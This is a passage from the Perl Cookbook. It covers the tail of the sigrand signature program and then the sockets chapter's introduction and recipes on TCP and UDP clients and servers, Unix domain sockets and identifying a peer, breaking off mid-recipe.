            $NAME = `cat $FULLNAME`;
            die "$FULLNAME should contain only 1 line, aborting"
                if $NAME =~ tr/\n// > 1;
        } else {
            my($user, $host);
            chop($host = `hostname`);
            ($host) = gethostbyname($host) unless $host =~ /\./;
            $user = $ENV{USER} || $ENV{LOGNAME} || $Pwd[0]
                or die "intruder alert";
            ($NAME = $Pwd[6]) =~ s/,.*//;
            $NAME =~ s/&/\u\L$user/g; # can't believe some folks still do this
            $NAME = "\t$NAME\t$user\@$host\n";
        }
    }

    check_fortunes() if !-e $SIGS;

    unless (-p $FIFO) {         # -p checks whether it's a named pipe
        if (!-e _) {
             system("$MKNOD $FIFO p") && die "can't mknod $FIFO";
             warn "created $FIFO as a named pipe\n";
        } else {
             die "$0: won't overwrite file .signature\n";
        }
    } else {
        warn "$0: using existing named pipe $FIFO\n";
    }

    # get a good random number seed.  not needed if 5.004 or better.
    srand(time() ^ ($$ + ($$ << 15)));
}

# choose a random signature
sub pick_quote {
    my $sigfile = signame();
    if (!-e $sigfile) {
        return fortune();
    }
    open (SIGS, "< $sigfile" ) or die "can't open $sigfile";
    local $/  = "%%\n";
    local $_;
    my $quip;
    rand($.) < 1 && ($quip = $_) while <SIGS>;
    close SIGS;
    chomp $quip;
    return $quip || "ENOSIG: This signature file is empty.\n";
}

# See whether ~/.article contains a Newsgroups line.  if so, see the first
# group posted to and find out whether it has a dedicated set of fortunes.
# otherwise return the global one.  also, return the global one randomly
# now and then to spice up the sigs.
sub signame {
     (rand(1.0) > ($GLOBRAND) && open ART) || return $SIGS;
     local $/  = '';
     local $_  = <ART>;
     my($ng)   = /Newsgroups:\s*([^,\s]*)/;
     $ng =~ s!\.!/!g if $NG_IS_DIR;     # if rn -/,  or SAVEDIR=%p/%c
     $ng = "$NEWS/$ng/SIGNATURES";
     return -f $ng ? $ng : $SIGS;
}

# Call the fortune program with -s for short flag until
# we get a small enough fortune or ask too much.
sub fortune {
   local $_;
   my $tries = 0;
   do {
       $_ = `$Fortune_Path -s`;
   } until tr/\n// < 5 || $tries++ > 20;
   s/^/ /mg;
   $_ || " SIGRAND: deliver random signals to all processes.\n";
}

# Make sure there's a fortune program.  Search
# for its full path and set global to that.
sub check_fortunes {
    return if $Fortune_Path;    # already set
    for my $dir (split(/:/, $ENV{PATH}), '/usr/games') {
        return if -x ($Fortune_Path = "$dir/fortune");
    }
    die "Need either $SIGS or a fortune program, bailing out";
}

# figure out our directory
sub gethome {
    @Pwd = getpwuid($<);
    $Home = $ENV{HOME} || $ENV{LOGDIR} || $Pwd[7]
       or die "no home directory for user $<";
}

# "There can be only one."  --the Highlander
sub justme {
    if (open SEMA) {
        my $pid;
        chop($pid = <SEMA>);
        kill(0, $pid) and die "$0 already running (pid $pid), bailing out";
        close SEMA;
    }
}

Previous: 16.21. Timing Out an Operation | Perl Cookbook | Next: 17. Sockets
16.21. Timing Out an Operation | Book Index | 17. Sockets


[Chapter 17] Sockets

Perl CookbookSearch this book
Previous: 16.22. Program: sigrand Chapter 17 Next: 17.1. Writing a TCP Client

17. Sockets

Contents:
Introduction
Writing a TCP Client
Writing a TCP Server
Communicating over TCP
Setting Up a UDP Client
Setting Up a UDP Server
Using UNIX Domain Sockets
Identifying the Other End of a Socket
Finding Your Own Name and Address
Closing a Socket After Forking
Writing Bidirectional Clients
Forking Servers
Pre-Forking Servers
Non-Forking Servers
Writing a Multi-Homed Server
Making a Daemon Server
Restarting a Server on Demand
Program: backsniff
Program: fwdport

Glendower: I can call spirits from the vasty deep.Hotspur:Why so can I, or so can any man,But will they come when you do call for them?

- Shakespeare King Henry IV Part I, Act III Scene 1

17.0. Introduction

Sockets are endpoints for communication. Some types of sockets provide reliable communications. Others offer few guarantees, but consume low system overhead. Socket communication can be used to let processes talk on just one machine or over the Internet.

In this chapter we consider the two most commonly used types of sockets: streams and datagrams. Streams provide a bidirectional, sequenced, and reliable channel of communication - similar to pipes. Datagram sockets do not guarantee sequenced, reliable delivery, but they do guarantee that message boundaries will be preserved when read. Your system may support other types of sockets as well; consult your socket (2) manpage or equivalent documentation for details.

We also consider both the Internet and Unix domains. The Internet domain gives sockets two-part names: a host (an IP address in a particular format) and a port number. In the Unix domain, sockets are named using files (e.g., /tmp/mysock).

In addition to domains and types, sockets also have a protocol associated with them. Protocols are not very important to the casual programmer, as there is rarely more than one protocol for a given domain and type of socket.

Domains and types are normally identified by numeric constants (available through functions exported by the Socket and IO::Socket modules). Stream sockets have the type SOCK_STREAM, and datagram sockets have the type SOCK_DGRAM. The Internet domain is PF_INET, and the Unix domain PF_UNIX. (POSIX uses PF_LOCAL instead of PF_UNIX, but PF_UNIX will almost always be an acceptable constant simply because of the preponderance of existing software that uses it.) You should use these symbolic names instead of numbers because the numbers may change (and historically, have).

Protocols have names like tcp and udp, which correspond to numbers that the operating system uses. The getprotobyname function (built into Perl) returns the number when given a protocol name. Pass protocol number 0 to socket functions to have the system select an appropriate default.

Perl has built-in functions to create and manipulate sockets; these functions largely mimic their C counterparts. While this is good for providing low-level, direct access to every part of the system, most of us prefer something more convenient. That's what the IO::Socket::INET and IO::Socket::UNIX classes are for - they provide a high-level interface to otherwise intricate system calls.

Let's look at the built-in functions first. They all return undef and set $! if an error occurs. The socket function makes a socket, bind gives a socket a local name, connect connects a local socket to a (possibly remote) one, listen readies a socket for connections from other sockets, and accept receives the connections one by one. You can communicate over a stream socket with print and < > as well as with syswrite and sysread, or over a datagram socket with send and recv. (Perl does not currently support sendmsg(2).)

A typical server calls socket, bind, and listen, then loops in a blocking accept call that waits for incoming connections (see Recipe 17.2 and Recipe 17.5). A typical client calls socket and connect (see Recipe 17.1 and Recipe 17.4). Datagram clients are special. They don't have to connect to send data because they can specify the destination as an argument to send.

When you bind , connect, or send to a specific destination, you must supply a socket name. An Internet domain socket name is a host (an IP address packed with inet_aton) and a port (a number), packed into a C-style structure with sockaddr_in:

use Socket;

$packed_ip   = inet_aton("208.146.240.1");
$socket_name = sockaddr_in($port, $packed_ip);

A Unix domain socket name is a filename packed into a C structure with sockaddr_un:

use Socket;

$socket_name = sockaddr_un("/tmp/mysock");

To take a packed socket name and turn it back into a filename or host and port, call sockaddr_un or sockaddr_in in list context:

($port, $packed_ip) = sockaddr_in($socket_name);    # for PF_INET sockets
($filename)         = sockaddr_un($socket_name);    # for PF_UNIX sockets

Use inet_ntoa to turn a packed IP address back into an ASCII string. It stands for "numbers to ASCII" and inet_aton stands for "ASCII to numbers."

$ip_address = inet_ntoa($packed_ip);
$packed_ip  = inet_aton("204.148.40.9");
$packed_ip  = inet_aton("www.oreilly.com");

Most recipes use Internet domain sockets in their examples, but nearly everything that applies to the Internet domain also applies to the Unix domain. Recipe 17.6 explains the differences and pitfalls.

Sockets are the basis of network services. We provide three ways to write servers: one where a child process is created for each incoming connection (Recipe 17.11), one where the server forks in advance (Recipe 17.12), and one where the server process doesn't fork at all (Recipe 17.13).

Some servers need to listen to many IP addresses at once, which we demonstrate in Recipe 17.14. Well-behaved servers clean up and restart when they get a HUP signal; Recipe 17.16 shows how to implement that behavior in Perl. We also show how to put a name to both ends of a connection; see Recipe 17.7 and Recipe 17.8.

Unix Network Programming and the three-volume TCP/IP Illustrated by W. Richard Stevens are indispensable for the serious socket programmer. If you want to learn the basics about sockets, it's hard to beat the original and classic reference, An Advanced 4.4BSD Interprocess Communication Tutorial. It's written for C, but almost everything is directly applicable to Perl. It's available in /usr/share/doc on most BSD-derived Unix systems. We also recommend you look at The Unix Programming Frequently Asked Questions List (Gierth and Horgan), and Programming UNIX Sockets in C - Frequently Asked Questions (Metcalf and Gierth), both of which are posted periodically to the comp.unix.answers newsgroup.

Previous: 16.22. Program: sigrand | Perl Cookbook | Next: 17.1. Writing a TCP Client
16.22. Program: sigrand | Book Index | 17.1. Writing a TCP Client


Recipe 17.1. Writing a TCP Client

Perl CookbookSearch this book

17.1. Writing a TCP Client

Problem

You want to connect to a socket on a remote machine.

Solution

This solution assumes you're using the Internet to communicate. For TCP-like communication within a single machine, see Recipe 17.6.

Either use the standard (as of 5.004) IO::Socket::INET class:

use IO::Socket;

$socket = IO::Socket::INET->new(PeerAddr => $remote_host,
                                PeerPort => $remote_port,
                                Proto    => "tcp",
                                Type     => SOCK_STREAM)
    or die "Couldn't connect to $remote_host:$remote_port : $@\n";

# ... do something with the socket
print $socket "Why don't you call me anymore?\n";

$answer = <$socket>;

# and terminate the connection when we're done
close($socket);

or create a socket by hand for better control:

use Socket;

# create a socket
socket(TO_SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

# build the address of the remote machine
$internet_addr = inet_aton($remote_host)
    or die "Couldn't convert $remote_host into an Internet address: $!\n";
$paddr = sockaddr_in($remote_port, $internet_addr);

# connect
connect(TO_SERVER, $paddr)
    or die "Couldn't connect to $remote_host:$remote_port : $!\n";

# ... do something with the socket
print TO_SERVER "Why don't you call me anymore?\n";

# and terminate the connection when we're done
close(TO_SERVER);

Discussion

While coding this by hand requires a lot of steps, the IO::Socket::INET class wraps them all in a convenient constructor. The important things to know are where you're going (the PeerAddr and PeerPort parameters) and how you're getting there (the Type parameter). IO::Socket::INET tries to determine these things from what you've given it. It deduces Proto from the Type and Port if possible, and assumes tcp otherwise.

PeerAddr is a string containing either a hostname ("www.oreilly.com") or an IP address ("204.148.40.9"). PeerPort is an integer, the port number to connect to. You can embed the port number in the address by giving an address like "www.oreilly.com:80". Type is the kind of socket to create: SOCK_DGRAM for datagrams, or SOCK_STREAM for streams.

If you want a SOCK_STREAM connection to a port on a particular machine with no other options, pass a single string to IO::Socket::INET->new consisting of the hostname and port separated by a colon:

$client = IO::Socket::INET->new("www.yahoo.com:80")
    or die $@;

If an error occurs, IO::Socket::INET will return undef and $@ (not $!) will be set to the error message.

$s = IO::Socket::INET->new(PeerAddr => "Does not Exist",
                           Peerport => 80,
                           Type     => SOCK_STREAM )
    or die $@;

If your packets are disappearing into a network void, it can take a while for your inability to connect to a port to be recognized. You can decrease this time by specifying a Timeout parameter to IO::Socket::INET->new():

$s = IO::Socket::INET->new(PeerAddr => "bad.host.com",
                           PeerPort => 80,
                           Type     => SOCK_STREAM,
                           Timeout  => 5 )
    or die $@;

If you do this, though, there's no way to tell from $! or $@ whether you couldn't connect or whether you timed out. Sometimes it's better to set it up by hand instead of using a module.

INADDR_ANY is a special address, meaning "listen on any interface." If you want to restrict it to a particular IP address, add a LocalAddr parameter to your call to IO::Socket::INET->new. If coding by hand code, do this:

$inet_addr = inet_aton("208.146.240.1");
$paddr     = sockaddr_in($port, $inet_addr);
bind(SOCKET, $paddr)         or die "bind: $!";

If you know only the name, do this:

$inet_addr = gethostbyname("www.yahoo.com")
                            or die "Can't resolve www.yahoo.com: $!";
$paddr     = sockaddr_in($port, $inet_addr);
bind(SOCKET, $paddr)        or die "bind: $!";

See Also

The socket, bind, connect, and gethostbyname functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard Socket, IO::Socket, and Net::hostent modules; the section on "Internet TCP Clients and Servers" in Chapter 6 of Programming Perl and in perlipc (1); Unix Network Programming, by W. Richard Stevens, published by Prentice Hall (1992); Recipe 17.2; Recipe 17.3

Previous: 17.0. Introduction | Perl Cookbook | Next: 17.2. Writing a TCP Server
17.0. Introduction | Book Index | 17.2. Writing a TCP Server


Recipe 17.2. Writing a TCP Server

Perl CookbookSearch this book

17.2. Writing a TCP Server

Problem

You want to write a server that waits for clients to connect over the network to a particular port.

Solution

This recipe assumes you're using the Internet to communicate. For TCP-like communication within a single Unix machine, see Recipe 17.6.

Use the standard (as of 5.004) IO::Socket::INET class:

use IO::Socket;

$server = IO::Socket::INET->new(LocalPort => $server_port,
                                Type      => SOCK_STREAM,
                                Reuse     => 1,
                                Listen    => 10 )   # or SOMAXCONN
    or die "Couldn't be a tcp server on port $server_port : $@\n";

while ($client = $server->accept()) {
    # $client is the new connection
}

close($server);

Or, craft it by hand for better control:

use Socket;

# make the socket
socket(SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

# so we can restart our server quickly
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1);

# build up my socket address
$my_addr = sockaddr_in($server_port, INADDR_ANY);
bind(SERVER, $my_addr)
    or die "Couldn't bind to port $server_port : $!\n";

# establish a queue for incoming connections
listen(SERVER, SOMAXCONN)
    or die "Couldn't listen on port $server_port : $!\n";

# accept and process connections
while (accept(CLIENT, SERVER)) {
    # do something with CLIENT
}

close(SERVER);

Discussion

Setting up a server is more complicated than being a client. The optional listen function tells the operating system how many pending, unanswered connections to queue up waiting for your server. The setsockopt function used in the Solution allows you to avoid waiting two minutes after killing your server before you restart it again (valuable in testing). The bind call registers your server with kernel so others may find you. Finally, accept takes the incoming connections one by one.

The numeric argument to listen is the number of unaccepted connections that the operating system should queue before clients start getting "connection refused" errors. Historically, the maximum listen value was 5, and even today, many operating systems silently limit this queue size to around 20. With busy web servers becoming commonplace, many vendors have increased this value. Your documented system maximum can be found in the SOMAXCONN constant from the Socket module.

The accept function takes two arguments: the filehandle to connect to the remote client and the server filehandle. It returns the client's port and IP address, as packed by inet_ntoa:

use Socket;

while ($client_address = accept(CLIENT, SERVER)) {
    ($port, $packed_ip) = sockaddr_in($client_address);
    $dotted_quad = inet_ntoa($packed_ip);
    # do as thou wilt
}

With the IO::Socket classes, accept is a method of the server filehandle:

while ($client = $server->accept()) {
    # ...
}

If you call the accept method in list context, it returns the client socket and its address:

while (($client,$client_address) = $server->accept()) {
    # ...
}

If no connection is waiting, your program blocks in the accept until a connection comes in. If you want to ensure that your accept won't block, use non-blocking sockets:

use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK);

$flags = fcntl(SERVER, F_GETFL, 0)
            or die "Can't get flags for the socket: $!\n";

$flags = fcntl(SERVER, F_SETFL, $flags | O_NONBLOCK)
            or die "Can't set flags for the socket: $!\n";

Now, when you accept and nothing is waiting for you, accept will return undef and set $! to EWOULDBLOCK.

You might fear that when the return flags from F_GETFL are 0, that this would trigger the die just as a failure from undef would. Not so - as with ioctl, a non-error return from fcntl is mapped by Perl to the special value "0 but true". This special string is even exempt from the -w flag's pesky non-numeric warnings, so feel free to use it in your functions when you want to return a value that's numerically zero yet still true. It probably should have been "0 and sneaky" instead.

See Also

The socket, bind, listen, accept, fcntl, setsockopt, functions in Chapter 3 of Programming Perl and in perlfunc (1); your system's fcntl (2), socket (2), setsockopt (2) manpages (if you have them); the documentation for the standard Socket, IO::Socket, and Net::hostent modules; the section on "Internet TCP Clients and Servers" in Chapter 6 of Programming Perl and in perlipc (1); Unix Network Programming; Beej's Guide to Network Programming at http://www.ecst.csuchico.edu/~guide/net; Recipe 7.13; Recipe 7.14; Recipe 17.1; Recipe 17.3; Recipe 17.7

Previous: 17.1. Writing a TCP Client | Perl Cookbook | Next: 17.3. Communicating over TCP
17.1. Writing a TCP Client | Book Index | 17.3. Communicating over TCP


Recipe 17.3. Communicating over TCP

Perl CookbookSearch this book

17.3. Communicating over TCP

Problem

You want to read or write data over a TCP connection.

Solution

This recipe assumes you're using the Internet to communicate. For TCP-like communication within a single machine, see Recipe 17.6.

Use print or < > :

print SERVER "What is your name?\n";
chomp ($response = <SERVER>);

Or, use send and recv :

defined (send(SERVER, $data_to_send, $flags))
    or die "Can't send : $!\n";

recv(SERVER, $data_read, $maxlen, $flags)
    or die "Can't receive: $!\n";

Or, use the corresponding methods on an IO::Socket object:

use IO::Socket;

$server->send($data_to_send, $flags)
    or die "Can't send: $!\n";

$server->recv($data_read, $flags)
    or die "Can't recv: $!\n";

To find out whether data can be read or written, use the select function, which is nicely wrapped by the standard IO::Socket class:

use IO::Select;

$select = IO::Select->new();
$select->add(*FROM_SERVER);
$select->add($to_client);

@read_from = $select->can_read($timeout);
foreach $socket (@read_from) {
    # read the pending data from $socket
}

Discussion

Sockets handle two completely different types of I/O, each with attendant pitfalls and benefits. The normal Perl I/O functions used on files (except for seek and sysseek) work for stream sockets, but datagram sockets require the system calls send and recv, which work on complete records.

Awareness of buffering issues is particularly important in socket programming. That's because buffering, while designed to enhance performance, can interfere with the interactive feel that some programs require. Gathering input with < > may try to read more data from the socket than is yet available as it looks for a record separator. Both print and < > use stdio buffers, so unless you've changed autoflushing (see the Introduction to Chapter 7, File Access) on the socket handle, your data won't be sent to the other end as soon as you print it. Instead, it will wait until a buffer fills up.

For line-based clients and servers, this is probably okay, so long as you turn on autoflushing for output. Newer versions of IO::Socket do this automatically on the anonymous filehandles returned by IO::Socket->new.

But stdio isn't the only source of buffering. Output (print, printf, or syswrite - or send on a TCP socket) is further subject to buffering at the operating system level under a strategy called The Nagle Algorithm. When a packet of data has been sent but not acknowledged, further to-be-sent data is queued and is sent as soon as another complete packet's worth is collected or the outstanding acknowledgment is received. In some situations (mouse events being sent to a windowing system, keystrokes to a real-time application) this buffering is inconvenient or downright wrong. You can disable the Nagle Algorithm with the TCP_NODELAY socket option:

use Socket;
require "sys/socket.ph";    # for &TCP_NODELAY

setsockopt(SERVER, SOL_SOCKET, &TCP_NODELAY, 1)
    or die "Couldn't disable Nagle's algorithm: $!\n";

Re-enable it with:

setsockopt(SERVER, SOL_SOCKET, &TCP_NODELAY, 0)
    or die "Couldn't enable Nagle's algorithm: $!\n";

In most cases, TCP_NODELAY isn't something you need. TCP buffering is there for a reason, so don't disable it unless your application is one of the few real-time packet-intensive situations that need to.

Load in TCP_NODELAY from sys/socket.ph, a file that isn't automatically installed with Perl, but can be easily built. See Recipe 12.14 for details.

Because buffering is such an issue, you have the select function to determine which filehandles have unread input, which can be written to, and which have "exceptional conditions" pending. The select function takes three strings interpreted as binary data, each bit corresponding to a filehandle. A typical call to select looks like this:

$rin = '';                          # initialize bitmask
vec($rin, fileno(SOCKET), 1) = 1;   # mark SOCKET in $rin
# repeat calls to vec() for each socket to check

$timeout = 10;                      # wait ten seconds

$nfound = select($rout = $rin, undef, undef, $timeout);
if (vec($rout, fileno(SOCKET),1)){
    # data to be read on SOCKET
}

The four arguments to select are: a bitmask indicating which filehandles to check for unread data; a bitmask indicating which filehandles to check for safety to write without blocking; a bitmask indicating which filehandles to check for exceptional conditions on; and a time in seconds indicating the maximum time to wait (this can be a floating point number).

The function changes the bitmask arguments passed to it, so that when it returns, the only bits set correspond to filehandles ready for I/O. This leads to the common strategy of assigning an input mask ($rin above) to an output one ($rout about), so that select can only affect $rout, leaving $rin alone.

You can specify a timeout of 0 to poll (check without blocking). Some beginning programmers think that blocking is bad, so they write programs that "busy wait" - they poll and poll and poll and poll. When a program blocks, the operating system recognizes that the process is pending on input and gives CPU time to other programs until input is available. When a program busy-waits, the system can't let it sleep because it's always doing something - checking for input! Occasionally, polling is the right thing to do, but far more often it's not. A timeout of undef to select means "no timeout," and your program will patiently block until input becomes available.

Because select uses bitmasks, which are tiresome to create and difficult to interpret, we use the standard IO::Select module in the Solution section. It bypasses bitmasks and is, generally, the easier route.

A full explanation of the exceptional data tested for with the third bitmask in select is beyond the scope of this book. Consult Stevens's Unix Network Programming for a discussion of out-of-band and urgent data.

Other send and recv flags are listed in the manpages for those system calls.

See Also

The send, recv, fileno, vec, setsockopt, and select functions in Chapter 3 of Programming Perl and in perlfunc (1); the sections on "I/O Operators" and on "Bitwise String Operators" in perlop (1); your system's setsockopt (2) manpage (if you have one); the documentation for the standard Socket and IO::Socket modules; the section on "Internet TCP clients and servers" in Chapter 6 of Programming Perl and in perlipc (1); Unix Network Programming; Recipe 17.1; Recipe 17.2

Previous: 17.2. Writing a TCP Server | Perl Cookbook | Next: 17.4. Setting Up a UDP Client
17.2. Writing a TCP Server | Book Index | 17.4. Setting Up a UDP Client


Recipe 17.4. Setting Up a UDP Client

Perl CookbookSearch this book

17.4. Setting Up a UDP Client

Problem

You want to exchange messages with another process using UDP (datagrams).

Solution

To set up a UDP socket handle, use either the low-level Socket module on your own filehandle:

use Socket;
socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp"))
    or die "socket: $!";

or else IO::Socket, which returns an anonymous one:

use IO::Socket;
$handle = IO::Socket::INET->new(Proto => 'udp')
    or die "socket: $@";     # yes, it uses $@ here

Then to send a message to a machine named $HOSTNAME on port number $PORTNO, use:

$ipaddr   = inet_aton($HOSTNAME);
$portaddr = sockaddr_in($PORTNO, $ipaddr);
send(SOCKET, $MSG, 0, $portaddr) == length($MSG)
        or die "cannot send to $HOSTNAME($PORTNO): $!";

To receive a message of length no greater than $MAXLEN, use:

$portaddr = recv(SOCKET, $MSG, $MAXLEN, 0)      or die "recv: $!";
($portno, $ipaddr) = sockaddr_in($portaddr);
$host = gethostbyaddr($ipaddr, AF_INET);
print "$host($portno) said $MSG\n";

Discussion

Datagram sockets are unlike stream sockets. Streams provide sessions, giving the illusion of a stable connection. You might think of them as working like a telephone call - expensive to set up, but once established, reliable and easy to use. Datagrams, though, are more like the postal system - it's cheaper and easier to send a letter to your friend on the other side of the world than to call them on the phone. Datagrams are easier on the system than streams. You send a small amount of information one message at a time. But your messages' delivery isn't guaranteed, and they might arrive in the wrong order. Like a small post box, the receiver's queue might fill up and cause further messages to be dropped.

Why then, if datagrams are unreliable, do we have them? Because some applications are most sensibly implemented in terms of datagrams. For instance, in streaming audio, it's more important that the stream as a whole be preserved than that every packet get through, especially if packets are being dropped because there's not enough bandwidth for them all. Another use for datagrams is broadcasting, which corresponds to mass mailing of advertisements in the postal model, and is equally popular in most circles. One use for broadcast packets is to send out a message to your local subnet saying "Hey, is there anybody around here who wants to be my server?"

Because datagrams don't provide the illusion of a lasting connection, you get a little more freedom in how you use them. You don't have to connect your socket to the remote end that you're sending data. Instead, address each datagram individually when you send. Assuming $remote_addr is the result of a call to sockaddr_in, do this:

send(MYSOCKET, $msg_buffer, $flags, $remote_addr)
    or die "Can't send: $!\n";

The only flag argument used much is MSG_OOB, which lets you send and receive out-of-band data in advanced applications.

The remote address should be a port and internet address combination returned by the Socket module's sockaddr_in function. If you want, call connect on that address instead. Then you can omit the last argument to your sends, after which they'll all go to that recipient. Unlike streams, you are free to reconnect to another machine with the same datagram socket.

Example 17.1 is a small example of a UDP program. It contacts the UDP time port of the machine whose name is given on the command line, or of the local machine by default. This doesn't work on all machines, but those with a server will send you back a 4-byte integer packed in network byte order that represents the time that machine thinks it is. The time returned, however, is in the number of seconds since 1900. You have to subtract the number of seconds between 1900 and 1970 to feed that time to the localtime or gmtime conversion functions.

Example 17.1: clockdrift

#!/usr/bin/perl
# clockdrift - compare another system's clock with this one
use strict;
use Socket;

my ($host, $him, $src, $port, $ipaddr, $ptime, $delta);
my $SECS_of_70_YEARS      = 2_208_988_800;

socket(MsgBox, PF_INET, SOCK_DGRAM, getprotobyname("udp"))
    or die "socket: $!";
$him = sockaddr_in(scalar(getservbyname("time", "udp")),
    inet_aton(shift || '127.1'));
defined(send(MsgBox, 0, 0, $him))
    or die "send: $!";
defined($src = recv(MsgBox, $ptime, 4, 0))
    or die "recv: $!";
($port, $ipaddr) = sockaddr_in($src);
$host = gethostbyaddr($ipaddr, AF_INET);
my $delta = (unpack("N", $ptime) - $SECS_of_70_YEARS) - time();
print "Clock on $host is $delta seconds ahead of this one.\n";

If the machine you're trying to contact isn't alive or if its response is lost, you'll only know because your program will get stuck in the recv waiting for an answer that will never come.

See Also

The send, recv, gethostbyaddr, and unpack functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard Socket and IO::Socket modules; the section on "UDP: message passing" in Chapter 6 of Programming Perl and in perlipc (1); Unix Network Programming; Recipe 17.5

Previous: 17.3. Communicating over TCP | Perl Cookbook | Next: 17.5. Setting Up a UDP Server
17.3. Communicating over TCP | Book Index | 17.5. Setting Up a UDP Server


Recipe 17.5. Setting Up a UDP Server

Perl CookbookSearch this book

17.5. Setting Up a UDP Server

Problem

You want to write a UDP server.

Solution

First bind to the port the server is to be contacted on. With IO::Socket, this is easily accomplished:

use IO::Socket;
$server = IO::Socket::INET->new(LocalPort => $server_port,
                                Proto     => "udp")
    or die "Couldn't be a udp server on port $server_port : $@\n";

Then, go into a loop receiving messages:

while ($him = $server->recv($datagram, $MAX_TO_READ, $flags)) {
    # do something
}

Discussion

Life with UDP is much simpler than life with TCP. Instead of accepting client connections one at a time and committing yourself to a long-term relationship, take messages from clients as they come in. The recv function returns the address of the sender, which you must then decode.

Example 17.2 is a small UDP-based server that just sits around waiting for messages. Every time a message comes in, we find out who sent it and send them a message based on the previous message, and then save the new message.

Example 17.2: udpqotd

#!/usr/bin/perl -w
# udpqotd - UDP message server
use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5151;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp')
    or die "socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";
$oldmsg = "This is the starting message.";
while ($sock->recv($newmsg, $MAXLEN)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    $hishost = gethostbyaddr($ipaddr, AF_INET);
    print "Client $hishost said ``$newmsg''\n";
    $sock->send($oldmsg);
    $oldmsg = "[$hishost] $newmsg";
}
die "recv: $!";

This program is easier using IO::Socket than the raw Socket module. We don't have to say where to send the message because the library keeps track of who sent the last message and stores that information away on the $sock object. The peername method retrieves it for decoding.

You can't use the telnet program to talk to this server. You have to use a dedicated client. One is shown in Example 17.3.

Example 17.3: udpmsg

#!/usr/bin/perl -w
# udpmsg - send a message to the udpquotd server

use IO::Socket;
use strict;

my($sock, $server_host, $msg, $port, $ipaddr, $hishost,
   $MAXLEN, $PORTNO, $TIMEOUT);

$MAXLEN  = 1024;
$PORTNO  = 5151;
$TIMEOUT = 5;

$server_host = shift;
$msg         = "@ARGV";
$sock = IO::Socket::INET->new(Proto     => 'udp',
                              PeerPort  => $PORTNO,
                              PeerAddr  => $server_host)
    or die "Creating socket: $!\n";
$sock->send($msg) or die "send: $!";

eval {
    local $SIG{ALRM} = sub { die "alarm time out" };
    alarm $TIMEOUT;
    $sock->recv($msg, $MAXLEN)      or die "recv: $!";
    alarm 0;
    1;  # return value from eval on normalcy
} or die "recv from $server_host timed out after $TIMEOUT seconds.\n";

($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
print "Server $hishost responded ``$msg''\n";

This time when we create the socket, we supply a peer host and port at the start, allowing us to omit that information in the send.

We've added an alarm timeout in case the server isn't responsive, or maybe not even alive. Because recv is a blocking system call that may not return, we wrap it in the standard eval block construct for timing out a blocking operation.

See Also

The send, recv, and alarm functions in Chapter 3 of Programming Perl and in perlfunc (1); the documentation for the standard Socket and IO::Socket modules; the section on "UDP: message passing" in Chapter 6 of Programming Perl and in perlipc (1); Unix Network Programming; Recipe 16.21; Recipe 17.4

Previous: 17.4. Setting Up a UDP Client | Perl Cookbook | Next: 17.6. Using UNIX Domain Sockets
17.4. Setting Up a UDP Client | Book Index | 17.6. Using UNIX Domain Sockets


Recipe 17.6. Using UNIX Domain Sockets

Perl CookbookSearch this book

17.6. Using UNIX Domain Sockets

Problem

You want to communicate with other processes on only the local machine.

Solution

Use domain sockets. You can use the code and techniques from the preceding Internet domain recipes, with the following changes:

  • Because the naming system is different, use sockaddr_un instead of sockaddr_in.

  • Use IO::Socket::UNIX instead of IO::Socket::INET.

  • Use PF_UNIX instead of PF_INET, and give PF_UNSPEC as the last argument to socket.

  • SOCK_STREAM clients don't have to bind to a local address before they connect.

Discussion

Unix domain sockets have names like files on the filesystem. In fact, most systems implement them as special files; that's what Perl's -S filetest operator looks for - whether the file is a Unix domain socket.

Supply the filename as the Peer argument to IO::Socket::UNIX->new, or encode it with sockaddr_un and pass it to connect. Here's how to make server and client Unix domain datagram sockets with IO::Socket::UNIX:

use IO::Socket;

unlink "/tmp/mysock";
$server = IO::Socket::UNIX->new(LocalAddr => "/tmp/mysock",
                                Type      => SOCK_DGRAM,
                                Listen    => 5 )
    or die $@;

$client = IO::Socket::UNIX->new(PeerAddr  => "/tmp/mysock",
                                Type      => SOCK_DGRAM,
                                Timeout   => 10 )
    or die $@;

Here's how to use the traditional functions to make stream sockets:

use Socket;

socket(SERVER, PF_UNIX, SOCK_STREAM, 0);
unlink "/tmp/mysock";
bind(SERVER, sockaddr_un("/tmp/mysock"))
    or die "Can't create server: $!";

socket(CLIENT, PF_UNIX, SOCK_STREAM, 0);
connect(CLIENT, sockaddr_un("/tmp/mysock"))
    or die "Can't connect to /tmp/mysock: $!";

Unless you know what you're doing, set the protocol (the Proto argument to IO::Socket::UNIX->new, and the last argument to socket) to 0 for PF_UNIX sockets. You can use both SOCK_DGRAM and SOCK_STREAM types of communication in the Unix domain, with the same semantics as we saw for Internet sockets. Changing the domain doesn't change the characteristics of the type of socket.

Because many systems actually create a special file in the filesystem, you should delete the file before you try to bind the socket. Even though there is a race condition (somebody could create a file with the name of your socket between your calls to unlink and bind), this isn't a security problem, because bind won't overwrite an existing file.

See Also

Recipes Recipe 17.1 through Recipe 17.5

Previous: 17.5. Setting Up a UDP Server | Perl Cookbook | Next: 17.7. Identifying the Other End of a Socket
17.5. Setting Up a UDP Server | Book Index | 17.7. Identifying the Other End of a Socket


Recipe 17.7. Identifying the Other End of a Socket

Perl CookbookSearch this book

17.7. Identifying the Other End of a Socket

Problem

You have a socket and want to identify the machine at the other end.

Solution

If you're only interested in the IP address of the remote machine, use:

use Socket;

$other_end         = getpeername(SOCKET)
    or die "Couldn't identify other end: $!\n";
($port, $iaddr)    = unpack_sockaddr_in($other_end);
$ip_address        = inet_ntoa($iaddr);

If you want its actual host name, use:

use Socket;

$other_end        = getpeername(SOCKET)
    or die "Couldn't identify other end: $!\n";
($port, $iaddr)   = unpack_sockaddr_in($other_end);
$actual_ip        = inet_ntoa($iaddr);
